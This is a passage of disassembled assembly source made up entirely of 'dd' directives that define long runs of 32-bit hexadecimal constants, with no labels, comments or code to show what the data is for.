		dd 77BB7A0Ch, 521B7A44h, 3FFA721Bh, 0B3ECDF34h,	0F3AA79E5h
		dd 252385CEh, 2AA51558h, 0C1FF9D50h, 0DE08113h,	7B0AF642h
		dd 82745943h, 227D0D4h,	8E69222Fh, 73FDE0B7h, 249ABAE5h
		dd 12514B1Ah, 0D7D324BDh, 4A19C821h, 278BF103h,	1EC2AC94h
		dd 2A098341h, 0E6D2D1C5h, 0A777E747h, 0E1E85117h, 87E45356h
		dd 526F7EBAh, 0A2E21249h, 0B5D242C8h, 31B43EF8h, 246B2F9Bh
		dd 0FFBB24E9h, 6C7A3B01h, 0EA257688h, 0EADEA3D4h, 4C571270h
		dd 951B4CEDh, 0ADBE2EB1h, 229C8C50h, 25D82B09h,	42596493h
		dd 14A7DFD3h, 23AB0FCCh, 4E49DE4Fh, 693695AFh, 7F21CDE8h
		dd 9AE4F898h, 10A536B1h, 80095051h, 0FAA8372Ch,	9BF691B6h
		dd 30D485F9h, 47C1C5CAh, 31F70458h, 0E637046Fh,	97401685h
		dd 0D2D7BE1h, 0BEF959B3h, 0C7F07621h, 53113424h, 0AA468356h
		dd 0B7F9AD8Eh, 405D6D7Eh, 531A1731h, 12D1538h, 0C4FE512Bh
		dd 0F9A57FDDh, 8C081686h, 0C4366018h, 7639588Ah, 1661F6F9h
		dd 0CDCFB558h, 0DEBB96ACh, 7742AD12h, 0B2D8A6C8h, 10142A3Ah
		dd 1917057Ch, 75F645Eh,	0DCE4CF75h, 0F09BDEB1h,	0F25940E4h
		dd 2A046D9Bh, 9DF01F26h, 0FC54DFD5h, 0F99C0A70h, 8310F011h
		dd 0BA01A05Eh, 0AFDCB82Ch, 5920ED1Fh, 9076F883h, 134717Eh
		dd 0A8504F3Bh, 6C119CB6h, 72897D29h, 159769D7h,	5A861592h
		dd 0AF657569h, 95BA4CFAh, 6DEF0F67h, 6713A1F7h,	6768E01Ah
		dd 0F25E98D9h, 1A451A89h, 214E8F32h, 3759D1A9h,	134E181Ch
		dd 0F6BCA84Bh, 0C59C10A1h, 7E51D9D0h, 22CF9533h, 0A9D5724h
		dd 0FDB0C9ABh, 36DF98FFh, 9F2B512Ah, 0B5EB3EDAh, 582A33BDh
		dd 54C3D5Eh, 87319D95h,	0D023C7A2h, 0F1403E69h,	2A7B4EDFh
		dd 0D44AB14Bh, 1E417431h, 5EE70916h, 1BD7B12Eh,	0ABEB121Ah
		dd 7881B542h, 0B38F4D04h, 93CE9BEEh, 67B18D4Ah,	0B3279010h
		dd 4465E1C6h, 7AD7D1ABh, 0A2AFBF14h, 0EB9F3035h, 8ADD596Fh
		dd 67022FBDh, 0A05548B9h, 42FC30ADh, 0BC271EB5h, 0CB7B8C1Fh
		dd 9D6315BCh, 8B9119Fh,	29FB360Ch, 0D092CAFBh, 7E97D4B1h
		dd 2ACE42F9h, 0B7D516E0h, 0BA5CCB88h, 447840C3h, 0E6372E38h
		dd 49E61685h, 4774D466h, 1B809AF2h, 0C536562Eh,	45C3EE30h
		dd 91C5B73Eh, 65D26439h, 8C912B3Dh, 4478A686h, 1850EA5Bh
		dd 165818AFh, 0BAE92805h, 9BEE99CEh, 6DF475E7h,	0CB5B4F30h
		dd 94133E9Dh, 77538F4Bh, 2E792454h, 1432AE15h, 947D3C8Eh
		dd 3547B825h, 8F7146C8h, 4F01F9F0h, 4DA4850Ch, 193FF2C7h
		dd 11E05D57h, 0A3E46021h, 0D0FB2EE0h, 39EDF730h, 0C0024089h
		dd 487080D1h, 4E9583ACh, 0CF0B4988h, 0FFCC8181h, 0E6FD15DFh
		dd 6C0F4013h, 9FD95808h, 5CFAE4D9h, 7AEDA509h, 478CF137h
		dd 5A632054h, 0B332D203h, 0E919AF2Ch, 4E4EA45Eh, 3B8B4FADh
		dd 0C2BF8AFh, 8306FB36h, 0CC4E5427h, 0D7740D40h, 0A0692B94h
		dd 0F44938Ch, 1ACCE48Ch, 0B4DA1081h, 826928DAh,	0F80A4FC5h
		dd 8C037FC6h, 4D5ABA49h, 351DC34Eh, 0E3E7645Dh,	1ED141EAh
		dd 0C33B8149h, 4B06B7F6h, 0E521F185h, 893DF77Bh, 0A0E2FB52h
		dd 45CA2C3Ah, 988DE45h,	5EB7631Bh, 32A19F09h, 9C61DC6h
		dd 52677DEEh, 19C5F218h, 869B417Fh, 0CD2F7538h,	178E33C7h
		dd 2F817466h, 3C2D4AD9h, 0F53B47CBh, 0D714E822h, 0CFD530B6h
		dd 84E0F3h, 2EB338EBh, 0E37D4DD1h, 8EC17DDBh, 77985B68h
		dd 69D3E9E1h, 6FEB0ABEh, 671C75A5h, 0BA59C9Ch, 28C39281h
		dd 58639F41h, 8A10D815h, 102ECE4h, 0F8D6E576h, 0E4F131B2h
		dd 84E1B0Eh, 0CAA0C377h, 275DAB35h, 30224F23h, 9DDAFB96h
		dd 29370D31h, 0E78A3939h, 848BD4AAh, 0EB613164h, 794465EBh
		dd 0D8360437h, 9BA50CB9h, 3522519Eh, 0B218AD3Fh, 44F762E6h
		dd 3CCACE5Ch, 8E65510Bh, 0DCC92615h, 7BBE854h, 292F589Fh
		dd 349EC4D6h, 0A39AB0A3h, 300073AAh, 2489B0EDh,	47B79791h
		dd 0A713D19Ch, 0A5F722A9h, 0E50176FCh, 0D92A3DB3h, 243770C8h
		dd 4162543Fh, 0C469EA4Ah, 0A0F7321Ch, 0B7EFE5FFh, 4EB8576Bh
		dd 5B23C038h, 0B1D6712Ch, 593B5E0Dh, 5347D1D0h,	9E6A37B2h
		dd 7BE8A185h, 7FE7CF53h, 785957FCh, 0B1DEF321h,	6A9F083Bh
		dd 751D64DBh, 977AC4CDh, 354302E1h, 90DA26A6h, 4CFF16h
		dd 83589FDEh, 0C450577Ch, 0E492C471h, 8FE39EB6h, 36897555h
		dd 0C81F43C7h, 42D69F83h, 0C41BE658h, 5B6252CDh, 28520514h
		dd 48D23A2Fh, 49992F7Ah, 501D8945h, 0B0E32304h,	81838B8Eh
		dd 54265510h, 0E98BBAC7h, 0A7D3D81Fh, 57C761F3h, 6366FA1Dh
		dd 0B7DE952Bh, 547442E4h, 90993EAFh, 925575FEh,	0FF6C3C25h
		dd 92D27A95h, 30CA6323h, 0D4D87B91h, 2B885036h,	747047FCh
		dd 0A158F203h, 3BD11156h, 0E1BDA6C4h, 10DAFCBFh, 40B42903h
		dd 0C19EAFD9h, 0DFA37E1Ah, 310795B7h, 5B3DC68Dh, 6A72DDE2h
		dd 765CB540h, 0EE3C52C9h, 162399Eh, 2D0D8035h, 96A3A641h
		dd 0E9B1D164h, 66A6003Fh, 64E6C675h, 5F71815Ah,	11E1168Dh
		dd 0D98FEDFCh, 8327FF4Eh, 0B7C7C0h, 4175E309h, 0A8B317DDh
		dd 1798713Fh, 2725A670h, 0AD6ABBC9h, 101F4A4h, 64DD0AB3h
		dd 65FBE1A4h, 0D206100Fh, 5279512Bh, 0A08CDEE5h, 0F1940E50h
		dd 17CCE54Dh, 6F15C68Eh, 13259673h, 243CE6h, 74BE1B5Bh
		dd 92F4A367h, 0F7DE38EDh, 8066C400h, 0E132D79Bh, 1F0409BEh
		dd 0A42D0482h, 4F3A1AC2h, 0F899D31Fh, 9CA04EC1h, 0E1B1BC60h
		dd 7C8B34DEh, 0BB515825h, 5217A2A3h, 0EBA501A6h, 6EF79B19h
		dd 475AA26h, 34A4E4CDh,	31AF39ADh, 0BDA81689h, 479905B7h
		dd 6A9DE8AFh, 63A94087h, 0E4586F8Fh, 90B22A77h,	9AFF8BBCh
		dd 0A267F220h, 98DA8DADh, 0BCEA7FC9h, 9FB719D2h, 35B93FFCh
		dd 0C07115D2h, 0CDDF0D67h, 0E73AA083h, 0EFAECDFCh, 2C47AE26h
		dd 8D247A82h, 0DE1911BDh, 1F84C5D2h, 6421C92Dh,	462544C5h
		dd 3D4D79B1h, 0FEC2A506h, 0BCEEC78Ah, 0CF224DBAh, 0B4CB4D79h
		dd 1AA21E04h, 961ECC1Bh, 768BFDCFh, 64F2EC76h, 450E7A37h
		dd 681BB93Bh, 73BF1E3Eh, 3F8C126Ch, 0CE5F55D6h,	0D4369000h
		dd 9018B05h, 0C4DF3F68h, 0DBF3216Ah, 0E24DB9B1h, 0FD46D84Ch
		dd 636D127Bh, 0AB9D1779h, 0DCE20988h, 0F3A967BDh, 0AB4C9B10h
		dd 0C0DCA076h, 4EBB1FBDh, 0F257E024h, 0DA18BB30h, 121479EEh
		dd 263FF145h, 929955DBh, 7E6B7828h, 0C2B30181h,	0C8BACB02h
		dd 0B3E9FAE2h, 0E1AA9ADFh, 0ACED9FB5h, 146B1276h, 501C4DA2h
		dd 7745A03Dh, 0ADA4718h, 1A849E19h, 39DA699Bh, 23D9B34Fh
		dd 2A19C2E0h, 0E047A338h, 1E9CAFB5h, 0E45D9332h, 19D798CDh
		dd 5C83FFF3h, 0C03F1B1h, 707488h, 2BE4DA9Eh, 5F997685h
		dd 0B6499F6h, 6821F290h, 0A0DC9A15h, 2C433823h,	7A0201CEh
		dd 0ECE458A2h, 0DD04024Fh, 78453CCFh, 0F18B26B2h, 0AFAF0D4h
		dd 738AF99h, 0D60D0564h, 0E578B49Dh, 8B64D186h,	6E64EBEh
		dd 1BBEDE93h, 0EA40EEC7h, 0F6C5BAC1h, 83B74CCAh, 91C943B7h
		dd 6EFA1D66h, 17D41DFDh, 176A5966h, 0FDC49ED3h,	3BC348F2h
		dd 0ABF529FAh, 3CA259A6h
		dd 0F2B97964h, 0D241705Bh, 94CD8B70h, 4C33624Eh, 2073CA06h
		dd 0CF5E5D9Dh, 0BF598D44h, 0D9BD6A33h, 6A90E2B6h, 0F891C366h
		dd 58F38E7Fh, 0CBFE7C82h, 9171D6B7h, 2D5A7592h,	9C79E162h
		dd 0D0AA7443h, 0D963E97Ch, 1B83FB6Ah, 0EE247C72h, 0A0B4E437h
		dd 6A23A556h, 7E43FEA3h, 480E7A4Ah, 63B05E29h, 0F8C66C0Ch
		dd 0EC77E408h, 0DD8CDE2Ah, 0F52606D5h, 0A27FDB74h, 7B347528h
		dd 9D5D328Dh, 0F9A80449h, 5B4D5902h, 82B3E6E5h,	0D894EBB3h
		dd 0F7F58801h, 0FD13A543h, 8AFDD01h, 0B7560D56h, 684FA6FAh
		dd 0F1D5E780h, 43C20284h, 0FD711D2Eh, 807FCFD4h, 8ACA0BAEh
		dd 3B76C3CDh, 7DAF8A30h, 0F74353D1h, 0E44F6A9Eh, 0E47B9A25h
		dd 0A3D571B4h, 0DA790F70h, 0CA24BA7Eh, 9CA7C487h, 0BEE5146h
		dd 0E9DA626Eh, 0E69CC437h, 538335DFh, 0A6F7BEE0h, 0ED86032h
		dd 0BAA99A7Ah, 53A05AE9h, 0FF09F3F9h, 2926A8C9h, 72BEDB88h
		dd 319BF7C7h, 567BE23Fh, 0A8D91B55h, 0DDE52DB4h, 0CC92DD39h
		dd 0E7E2A380h, 82CC263Eh, 88CC9D4Ch, 0AE3F6A0Fh, 0B9D022C0h
		dd 3D38C375h, 0C41EE659h, 0F6046019h, 0DCEF50A4h, 379F1247h
		dd 0E4A11482h, 95DF8742h, 6D7C70A6h, 60517A61h,	10E6A2A9h
		dd 5E8E77Eh, 790196E2h,	0BF676B0Eh, 9DE6336Ah, 7E8A2F88h
		dd 46703990h, 7A13FCB1h, 0DE639386h, 948579C6h,	7B5F0481h
		dd 75D809D6h, 9D96A574h, 337FCD87h, 0BA64EF27h,	0D01138Dh
		dd 662CDC9Ah, 0D30736C4h, 22DDFBCDh, 5EED104h, 0B18EF55Ah
		dd 9A40A8B7h, 0A63FF965h, 0C87E9FC9h, 0FDD91B9Fh, 426F0ABBh
		dd 4325F6A1h, 0DFA7E8C6h, 4CEF7EBh, 7DD31C07h, 55D418D0h
		dd 4E629313h, 0D7C9FBB2h, 9257D1C0h, 0D883B04Ah, 26B4BBB1h
		dd 4D87BA83h, 0CE53F987h, 0D0DF312Fh, 4D3BFB50h, 0E93678C1h
		dd 0CE80836Ch, 0B2E78370h, 0D5FCADFFh, 0D3A89914h, 656822EDh
		dd 0E9F3E71Ah, 0D1B00DE7h, 997C0D1h, 1822A7E2h,	0D6089007h
		dd 220C483Dh, 3D083645h, 0D83363Eh, 916D4529h, 0C393718Dh
		dd 78536741h, 0ED84AD4Dh, 144C7007h, 81197357h,	79C86411h
		dd 0F9A62173h, 0C05E456Eh, 49801CCFh, 888B443Eh, 551D511Fh
		dd 0BD9DB933h, 1105D3CAh, 78EE8E0Ch, 0CB9BAD2Dh, 0E9F3440Bh
		dd 9BB7287Bh, 2D26B085h, 34B23D89h, 959290EEh, 8666D8D6h
		dd 0F273DC7Dh, 0CF0D2E11h, 83C271E4h, 7AABB4B8h, 94E42880h
		dd 7816FA96h, 57CDCB41h, 2D80ECF2h, 15BEB9F7h, 2286F2DBh
		dd 0E580BDFAh, 17CC9C39h, 0EC4F319Ah, 38486119h, 0DC92B37Fh
		dd 35E26786h, 42DED27Eh, 58FC867Ah, 0F5E806DAh,	54ABAA74h
		dd 80CB9E10h, 5F8879DFh, 9D59E5B5h, 0C80301CAh,	528797EEh
		dd 8E663C9h, 0BB5A7E3Fh, 6CF02ED3h, 1A20BA06h, 0BD91E45Ah
		dd 0FFFB3BB5h, 0E936A2Dh, 65CA0259h, 0D78DE7B2h, 633E3307h
		dd 0DB7BF92Fh, 0AB1143FDh, 3B0F60EFh, 0E1E6663Dh, 36E2F8BBh
		dd 3C1DACA6h, 4D9CD8FCh, 0F363F046h, 45B3DDAEh,	0A4BB4273h
		dd 8700DCFEh, 71CE3F43h, 56C8BE9Bh, 3A783ED9h, 0DF2057B8h
		dd 9054DFC4h, 3AAE5DC4h, 509122DAh, 349B40E3h, 1E523408h
		dd 9B8A3AF2h, 5A974528h, 0F0A41594h, 4AF9531Eh,	87D033D2h
		dd 0BB10FDA1h, 6996B5EBh, 0E20941E3h, 0E7A96C8Bh, 0CDDBFF03h
		dd 84265CB0h, 0E816E2C1h, 5F2F782Ah, 0E14657CCh, 79CE815h
		dd 0A773DD90h, 6375A5EEh, 5359BD1Eh, 0A8333B52h, 1AB650E7h
		dd 21B8103Ah, 8E7EE036h, 0CBF0ACC6h, 17B4952Fh,	0F0FD6A36h
		dd 9E9FE438h, 0B15AFF3h, 0EF937CDh, 0AEC8AB5Ah,	0B3396B4Ch
		dd 3019AB4h, 0EF4AA808h, 82548400h, 183FE2F9h, 0A008CD57h
		dd 184C0F45h, 2E480090h, 4B883E7Ch, 0DEA9C8C2h,	0D6761483h
		dd 0A27EE429h, 0A6F28849h, 2603E43Ch, 19553C2Dh, 18E4DE68h
		dd 979E2734h, 0A4E18508h, 0F5C7A841h, 5E0F357Fh, 74CF6B51h
		dd 8E6C0F6Ch, 0AEE27EAFh, 496198FAh, 6FFBA17Eh,	207F6BEDh
		dd 9AC98A9Fh, 61FC0EC8h, 0E2FD3469h, 0FC85549Ah, 94D9BFE2h
		dd 0F54E7322h, 37D1553Ch, 2993E2D8h, 0EB1636FBh, 2F3E51F9h
		dd 565DF64Fh, 3D17B1FDh, 0F97C0402h, 6B41875Fh,	0C4521ECBh
		dd 1DBD408Bh, 2419E01Ah, 366268A2h, 9156DD65h, 9F0FA201h
		dd 82EDBA11h, 8B0D08E9h, 8D8DD38Ch, 0CF4BB4A2h,	0AE70674Ah
		dd 9BCA06E4h, 5AB439F7h, 0BCFA1C05h, 0EC3D65F8h, 2ED8F787h
		dd 30B9F432h, 915DA8E3h, 0BFD80BB0h, 7644FB75h,	198448E2h
		dd 0B135873Eh, 2ECA3724h, 98405D3Fh, 188CB949h,	0C8FD6DA0h
		dd 1D9E5E72h, 73AE91AAh, 0C37B543h, 0EECA3CC5h,	9E17ACA2h
		dd 1562DDF8h, 1F31EFAAh, 2D006C39h, 8E639394h, 5265F3A5h
		dd 341AB448h, 5D7760B4h, 0A38D99CBh, 867E2DDBh,	0D6FAB8C1h
		dd 903E2D1Fh, 7A21C36Bh, 729E7F6Dh, 2DA6D678h, 0E4A7BC96h
		dd 170F0A68h, 0D026BD06h, 0EF267D74h, 0E9C040A3h, 70E756BAh
		dd 0C06A9FDBh, 8BEAC52Ah, 0FE1B899h, 0F24697F9h, 0B2F44320h
		dd 64323B37h, 19637276h, 746E643Bh, 617A38D8h, 0A5018B5h
		dd 0FCFF0F4Fh, 5331340Ch, 0D435B4B0h, 658E5270h, 0E06624DAh
		dd 0CEBF60DFh, 8882C060h, 0EB2DD666h, 8BAF08DAh, 99160C6Eh
		dd 0B82CD9FCh, 946D5B38h, 820044CFh, 0F7C257D2h, 9F107CA4h
		dd 8D782FADh, 0EFE5BF86h, 193C4EA2h, 88AA8C97h,	51A99FF9h
		dd 4240738Fh, 0FA0F9900h, 8D1B7FEEh, 0EFBFE61Ch, 0EAFCBC3Ch
		dd 0F8A35645h, 0B8E08F48h, 5ABA209Fh, 0B9EA616Dh, 9B4EDEA7h
		dd 45C3ED1Ah, 5F5A481Dh, 5E45835Bh, 19C90BCh, 2D339E69h
		dd 2E723A1Ch, 0ED46AAEFh, 70B59078h, 0C2863612h, 0C0ECE838h
		dd 0A5718CE9h, 0F568D8B4h, 1EE44262h, 0C4720D9Ch, 30EF56BDh
		dd 34BE2D4Eh, 278760EAh, 0BC8DF070h, 9F7679C3h,	1CDFC045h
		dd 9E144AA4h, 0B4A68618h, 56C4680h, 360E1115h, 0A9BF984Ah
		dd 97E15DB4h, 4F858E15h, 955142BDh, 0B8E209ECh,	0A1D26639h
		dd 1FFCB334h, 66ED9523h, 4CCED29Dh, 930B283h, 13C44F52h
		dd 0A16F025Eh, 0F64604B2h, 21A640C2h, 0B212ADA8h, 3439C8CFh
		dd 69B268DDh, 0BF068373h, 863E400Ah, 552BDE02h,	0B0E9FD67h
		dd 313E3BA0h, 8EC53698h, 0AE2FD139h, 3D391BC2h,	0BE930320h
		dd 4DD93569h, 0E4B6DA58h, 6129A848h, 7A7A3E14h,	0C2A09ACh
		dd 23AB21FEh, 0A8D31911h, 7E959916h, 4A16D2A7h,	0D4430111h
		dd 6F9BDCB5h, 0C4F895A7h, 256A74C4h, 1E83EAEFh,	7067E12Eh
		dd 5696AE85h, 63E9ED9Fh, 0BD9DA7B1h, 0E3DA42EEh, 0F6746CA9h
		dd 0CBD85ECh, 437CA009h, 0A518004Ah, 97576D79h,	0D99301D7h
		dd 0D76A1BA1h, 0A57A36CAh, 0AF854966h, 704100AFh, 617F2FDBh
		dd 18DA2192h, 22EF258Fh, 0FA6F7DD3h, 0B71A218Ah, 23C34A9h
		dd 0D0A698EDh, 115CD9BDh, 0F5ABDBCDh, 5B7666E0h, 112ABA16h
		dd 16C1D9D3h, 652D833Fh, 0DFFF4920h, 0F8A5D2D1h, 3F9488C1h
		dd 0C104FB91h, 0F600F501h, 12DA21CCh, 0C381BF55h, 0EA600814h
		dd 4EFD9791h, 28154E6Dh, 0DE59AB1Ah, 0B861F4Ah,	55642620h
		dd 13E79A36h, 0AB606B2Fh, 833444D8h, 3736E3F2h,	345D33B7h
		dd 6E01DDA9h, 2D88C4ECh, 86A507A3h, 568AEC8h, 33FC852Bh
		dd 0F2BAA08Ah, 656722EBh, 89AEE80Eh, 774596A3h,	0CE8297D1h
		dd 79F7D198h, 34BD43D4h, 0CDA3E131h, 0E0499706h, 2671D936h
		dd 31BE45ABh, 0EEE050E8h, 0A83D9535h, 2FF144D6h, 100983E8h
		dd 1169EB8Dh, 0A66AF14Bh, 8246D46Ch, 82C8EFD3h,	1962839Eh
		dd 0BF6674E8h, 0E19C0607h
		dd 15EAA99Bh, 91E8412Fh, 0CA2BBCDh, 0D0A2F93Bh,	4C923FAh
		dd 54D38720h, 424DD986h, 43C6A9Ah, 9B3D0173h, 0E0617093h
		dd 0FB036349h, 7F3755E1h, 9B9EE9C0h, 899ABAE0h,	78064BCBh
		dd 441C33E8h, 0C4385C8Ah, 6E7BB2A0h, 0F2CB7F5Bh, 301C13A7h
		dd 0B0E750F2h, 60B24EE9h, 0B0E902E4h, 7745D535h, 9BDA0194h
		dd 35494869h, 13D76741h, 6CED134Bh, 7D0AC741h, 669D2088h
		dd 0A112AAA1h, 0D6E2DD2Eh, 43E60C06h, 66A4B3EFh, 0F23773Ah
		dd 72E1156Ch, 0F72B18E7h, 4DF21479h, 5BC6CB72h,	3A540D24h
		dd 0D9D71F83h, 0D19E3078h, 0BBF6C9F8h, 1E51CF1Dh, 0F9CE5EDh
		dd 990A7946h, 0B5661C38h, 0FE92F108h, 972CF07Ch, 5F8D7B53h
		dd 0ED08FD5Ah, 10D645A8h, 402EC0D6h, 0D79E0036h, 80CD2756h
		dd 7CD97C49h, 0C3EA1F51h, 5355F630h, 59F7C9F6h,	9C0A21CBh
		dd 232E99A3h, 882D9595h, 5A9455Eh, 1855C461h, 159099Ah
		dd 81269686h, 1C00E67Eh, 6D5BC19h, 48BCB9BAh, 7AF9A0F7h
		dd 0AB1F8A36h, 6DCA1443h, 0F7BD8462h, 0AC5A5A29h, 0F3DB66F2h
		dd 0C59D36BCh, 866E22EAh, 74CC85BCh, 0AE26627Eh, 0ECA4446Ch
		dd 398210A7h, 0C86A245Bh, 1AD58A35h, 17682C3Dh,	64F7D195h
		dd 0E3CD769Fh, 0C20883D0h, 90A685FBh, 0BE4D7875h, 4B037C21h
		dd 7A0EB71Eh, 3E26E104h, 5C0B891Bh, 0F624E447h,	7CAA9AC6h
		dd 0D0F947DEh, 0CBC19B90h, 0ADDEB669h, 631A9737h, 73A93005h
		dd 0ECC79F9Dh, 0EF121E4Fh, 0E353AD73h, 0E14FA61Dh, 0FADC1B33h
		dd 47B86EFBh, 5B60038h,	6646210h, 5E868B11h, 0B2CFE7B5h
		dd 920CBB95h, 5368183h,	0E19735BDh, 0A6BA6C1Ch,	0E9789FE1h
		dd 37A26BCEh, 7F35D64Eh, 9EDC1B87h, 2F18B945h, 0E9E77A22h
		dd 44609EADh, 2C05476Dh, 0D5948AAFh, 63328ED4h,	0C096D3ABh
		dd 0FE43674h, 18625EE6h, 9D8B4814h, 0EF884E67h,	6F339992h
		dd 0CB6188A1h, 0E6A30393h, 9F022866h, 48762015h, 2984FFFh
		dd 0FF6DA1B4h, 24DE6B0Ch, 9E6D82C8h, 0BF4A226Eh, 5AB009F6h
		dd 742AE68Bh, 0EC273D7Fh, 0A2CDC615h, 0BDAE38Bh, 6E8481C4h
		dd 62FAA80Ah, 0AD82C7C8h, 1356B3CBh, 0D6302798h, 7F6B2BDDh
		dd 0C08CC2h, 0B373FE96h, 65D85434h, 7F69165Eh, 99FE697Bh
		dd 0DFD375B2h, 8C4360B3h, 8C1F842Dh, 0DA3DB032h, 6AB5F726h
		dd 0FCBD13CAh, 0BA4365B3h, 3EEEFC69h, 890E3C15h, 0CD8F595Dh
		dd 0EDF3FD6Ch, 5AB6F1B1h, 2BE91F50h, 0AEE05BA6h, 0E9AE27B3h
		dd 7FF1F2A8h, 0C76D6462h, 0E522128Ah, 544B1EAh,	23DD5B84h
		dd 0F0AB18C1h, 0F510906Eh, 440F9CDh, 8525C368h,	0B4D8DFECh
		dd 0D4E8C278h, 887F1B32h, 0F01CC530h, 35A83FA1h, 55AE0181h
		dd 0EC7CA56Dh, 0B73A7F42h, 726520C4h, 94623903h, 67238E96h
		dd 5E21F3A5h, 5985F4C6h, 0E219A0D7h, 82EE0AB0h,	5B5DF14Dh
		dd 83313B2h, 0D78C90F0h, 0A110D4D5h, 0F4A0BA48h, 10696D4Ah
		dd 6F547484h, 0C2A713B2h, 0D7D738F1h, 0BCC53408h, 64B72151h
		dd 0EFD26C3Ah, 0B3FFD2CBh, 760A5DDEh, 2C2ABBB5h, 0EA2C0BFCh
		dd 4CE7E3CEh, 9A8BBA72h, 0CA98F9A2h, 331EBAF0h,	711667C5h
		dd 90ED21AAh, 97CF2F39h, 0D65FCCFFh, 1B17F72Fh,	1B011B07h
		dd 6F5FB66Dh, 3AD6AC3h,	0FD36A300h, 12EF51ADh, 24140D65h
		dd 3054B1F8h, 76A118C0h, 0B95FFB7Fh, 0EDA6C351h, 0CC13CC45h
		dd 0CE52F636h, 6057822Eh, 4DF92A9Dh, 7A0374B8h,	963ECCE2h
		dd 0CDB1B777h, 97B91B1Ch, 312CAA84h, 1211A3Dh, 98C84144h
		dd 0E84B8008h, 0B68B707Bh, 911DA52Ah, 0AE400B3Ah, 8B6A4045h
		dd 51CA6295h, 0ED787818h, 0DA506A4Eh, 0C7710FCBh, 24914649h
		dd 6E2E404Fh, 0F2B54E46h, 0E5A5ED04h, 0CCA401BEh, 903E4743h
		dd 74B1DA18h, 7794392Fh, 1B34954Ah, 26128D30h, 82E0A32Dh
		dd 4D68CF19h, 0D786BA20h, 56DCCFAh, 0E938F9E4h,	81CF5E8Dh
		dd 7C6E0CAEh, 911CA2E2h, 699D0D68h, 8A292D32h, 3C32D8D8h
		dd 0FFB60C15h, 44DF2C69h, 6034CE5Ah, 7010F861h,	507F76B5h
		dd 1FFE5735h, 29B38004h, 3B689F8Ch, 49F67415h, 0E3E9BCA8h
		dd 4034AB7Ch, 7F8EF71Ah, 51AE2D0Fh, 0E7752B08h,	84E5ECC7h
		dd 3F3960BAh, 0A5B726CFh, 9913435Ah, 1E872091h,	0EA666592h
		dd 1241D9DFh, 0A0C8B9Bh, 192CCD82h, 4C6DCCD5h, 5F324B92h
		dd 0DB0A7199h, 0B6A71E7Bh, 6F49B339h, 0BB71DA29h, 3DAC3411h
		dd 56FBC6FDh, 0D01820CCh, 0A6400C11h, 4B1AA7DFh, 0C8293DBEh
		dd 4AF39DAh, 0EB4E9F76h, 385464E7h, 6392CFC5h, 0A6AA3188h
		dd 21F589Ch, 0B897FDF7h, 78D0DC7h, 0B9AA7DEBh, 0EAABEB7Fh
		dd 0C615C0C7h, 0DAB1DE86h, 8CCF3087h, 0FC13D9ABh, 7B56EC54h
		dd 0EBE95220h, 3582FA90h, 54422A61h, 93217A8h, 0D6A2743Bh
		dd 7D9DEF63h, 55DE5CE6h, 7F61A439h, 8F089327h, 9A62AEEFh
		dd 691337h, 99A75022h, 60C74E25h, 0A3575853h, 3920DCBDh
		dd 77FD58B7h, 0E465371Fh, 0BBB9DB22h, 0E051A543h, 57925099h
		dd 5B48BECh, 0D7A9A5FBh, 569A16F7h, 0DD33C6A0h,	5EF5FDC2h
		dd 0DF073E0Eh, 0B975ABBAh, 10EECE3Fh, 0F3BC733Ah, 0F2CF45F1h
		dd 4CD7EE66h, 37AA0DE5h, 0EF8BFB18h, 0B0C73934h, 0B1601992h
		dd 29A32EE4h, 7F0C9145h, 92819CDBh, 0D4BB9F70h,	336772A4h
		dd 39739B5Dh, 77986C3Ah, 0C3E30B73h, 0A3DB702Dh, 11F13306h
		dd 25F926FEh, 48028BF1h, 0EC1D3106h, 0D154C8F2h, 5C788162h
		dd 0C0CF88C3h, 4D282927h, 3EAA704Bh, 98FF301Ch,	5BFC99DEh
		dd 513F6AA4h, 0DB9C00B2h, 3EE04E1h, 7305237h, 4F6AB13Ah
		dd 0D83F83D4h, 575CFB5Eh, 6276E7FDh, 80FBD1F9h,	6317AC82h
		dd 5F8F54C0h, 93373CD1h, 8BC5D942h, 0B77D604h, 6B4CEB23h
		dd 0BD4557A0h, 0C45A6790h, 0A3A125B8h, 0E61B760Ch, 5036DFCEh
		dd 0EB63D869h, 0DB63E095h, 448886FAh, 7490AC2Bh, 1D316414h
		dd 0EE36805Ah, 0A31EAE78h, 4C9F34C4h, 414CDADAh, 88DF12Eh
		dd 0C30C9D2Bh, 0D3C64C1Eh, 0F33DC9CAh, 0C5E3D302h, 0BE6B9CEh
		dd 0D9440A08h, 0C90E48D0h, 0F6F2FF0Bh, 35F14486h, 2C6FE9F0h
		dd 73E486FCh, 5316BE3Eh, 7953185Bh, 11C201EBh, 0CAA95807h
		dd 5C0D41BDh, 9670F81Ah, 0C16E196Fh, 2C598ED6h,	1A6D4C33h
		dd 67F36136h, 34794A9Bh, 0DFA3A437h, 9EBC7A8Bh,	0E49A0FECh
		dd 9A569706h, 209F1C5h,	732C8552h, 0CABBCDBFh, 5A4B3F8Fh
		dd 86B6D0FAh, 684704C3h, 5D9AA03h, 0C8AE5404h, 4F3897CCh
		dd 0DB2235E4h, 0F8CB327Ch, 0B7183C8h, 23D3F614h, 0A8109513h
		dd 6D277600h, 0F0BCD83Ch, 4233525h, 90EAAA4Ah, 2E840F06h
		dd 62DB7DCBh, 661A4046h, 1DFB1C28h, 2432D03Eh, 4C7A46F4h
		dd 5721BA07h, 95E76C96h, 142FF6D0h, 7C6E2757h, 0E4DADF32h
		dd 9C23FA44h, 29E735B4h, 8B8A8A6Ch, 247B3EDBh, 51E44799h
		dd 0AE9CA742h, 0C1AE71D7h, 48FD3EAEh, 0FB0C9ECh, 2FEDD22h
		dd 8BEB0976h, 4695F55Bh, 28BE4756h, 70EC1FC5h, 85D814D3h
		dd 0A9D8CCEEh, 0AD404721h, 6F595982h, 0FBD857F0h, 7C8E6EAAh
		dd 6EB03ABFh, 0EB448994h, 788706Ah, 58F65BA0h, 63BC25DFh
		dd 90332D2Ah, 3190D9C4h, 5F88AEBDh, 0F72AEAAAh,	8D8111DCh
		dd 0C1A47A73h, 0C27AAF8Bh, 3D95E807h, 95452A87h, 1E84B8A0h
		dd 22EAA168h, 0B850EC30h, 16FE2B48h, 0F31D02D0h, 402821E4h
		dd 60D902ECh, 353050B1h, 0C39A1DF9h, 0F01BB307h, 8F8F43C4h
		dd 0C8E49DA3h, 7C81E1B4h, 0B3D5D325h, 9731D34h,	0A4049643h
		dd 8587D748h, 5C9D579Ch
		dd 5865B45Eh, 0E3A3121Fh, 0DA340110h, 0D00D0C3Ch, 0E955649Bh
		dd 0A68A781Fh, 12D1AC19h, 0BE50EEFAh, 753B7382h, 0F1CDE6D9h
